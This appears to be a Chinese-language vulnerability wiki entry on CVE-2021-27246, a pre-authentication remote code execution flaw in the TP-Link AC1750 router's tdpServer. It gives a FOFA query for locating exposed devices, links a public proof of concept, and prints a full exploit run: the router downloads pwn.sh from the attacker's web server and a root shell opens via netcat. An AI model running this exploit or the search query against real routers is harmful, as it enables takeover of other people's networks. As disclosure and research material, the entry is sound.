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73 lines
1.9 KiB
Markdown
73 lines
1.9 KiB
Markdown
# TP-Link AC1750 预认证远程代码执行漏洞CVE-2021-27246
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## 漏洞描述
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在TP-Link AC1750的tdpServer守护程序中存在漏洞，没有检查json数据的大小，导致了缓冲区溢出，通过缓冲区溢出，可以导致代码执行。
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参考阅读：
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- https://www.synacktiv.com/publications/pwn2own-tokyo-2020-defeating-the-tp-link-ac1750.html
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## FOFA
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```
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app="TP_LINK-AC1750"
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```
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## 漏洞复现
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- poc：https://github.com/synacktiv/CVE-2021-27246_Pwn2Own2020
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```
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$ bash exploit.sh
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[+] Launching web server for distribution of pwn.sh
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Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
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INFO:tdpwn:Associating 49 onemesh clients...
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INFO:tdpwn:Done!
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And wait for 80 seconds...
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80 seconds left...
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70 seconds left...
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60 seconds left...
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50 seconds left...
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40 seconds left...
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30 seconds left...
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20 seconds left...
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10 seconds left...
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[+] Trying to exploit the tddp injection
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INFO:tdp:Preparing tddpv1_configset payload
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INFO:tdp:Sending payload
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[+] Trying the root shell (Low probability of success...)
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nc -v 192.168.0.1 12345
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nc: connect to 192.168.0.1 port 12345 (tcp) failed: Connection refused
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[ ] If shell hasn't succeed, don't worry, we retry
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INFO:tdpwn:Associating 49 onemesh clients...
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INFO:tdpwn:Done!
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And wait for 80 seconds...
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80 seconds left...
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70 seconds left...
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60 seconds left...
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50 seconds left...
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40 seconds left...
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30 seconds left...
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20 seconds left...
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10 seconds left...
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[+] Trying to exploit the tddp injection
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INFO:tdp:Preparing tddpv1_configset payload
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INFO:tdp:Sending payload
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192.168.0.1 - - [30/Nov/2020 12:10:59] "GET /pwn.sh HTTP/1.1" 200 -
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[+] Trying the root shell (High probability of success...)
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nc -v 192.168.0.1 12345
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Connection to 192.168.0.1 12345 port [tcp/*] succeeded!
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uname -a
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Linux ArcherA7v5 3.3.8 #1 Mon Sep 14 19:52:46 CST 2020 mips GNU/Linux
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id
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uid=0(root) gid=0(root)
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^C[-] Stopping Webserver, now
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Terminated
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```
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